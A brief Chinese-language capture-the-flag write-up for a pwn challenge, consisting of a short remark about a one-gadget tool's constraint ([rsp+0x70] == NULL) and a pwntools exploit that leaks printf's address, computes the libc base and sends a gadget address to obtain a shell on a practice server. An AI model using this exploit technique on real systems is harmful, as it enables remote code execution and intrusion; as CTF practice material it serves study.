這裏主要是用到了這個工具,但是這個工具的原理我還不瞭解,但是我調試了一下,最主要的是這個工具提供的shell需要滿足它下面給的約束條件,對於這個題目而言要利用這個shell的條件就是[rsp + 0x70] == NULL
exp
from pwn import *
context(log_level = 'debug')
libc = ELF('./libc/libc-2.29.64.so')
p = remote('node3.buuoj.cn', 25656)
p.recvuntil('0x'.encode())
printf_addr = int(p.recvn(12), 16)
printf_offset = libc.sym['printf']
libc_base = printf_addr - printf_offset
execve_offset = 0x106ef8
execve_addr = libc_base + execve_offset
payload = str(execve_addr)
p.sendline(payload)
p.interactive()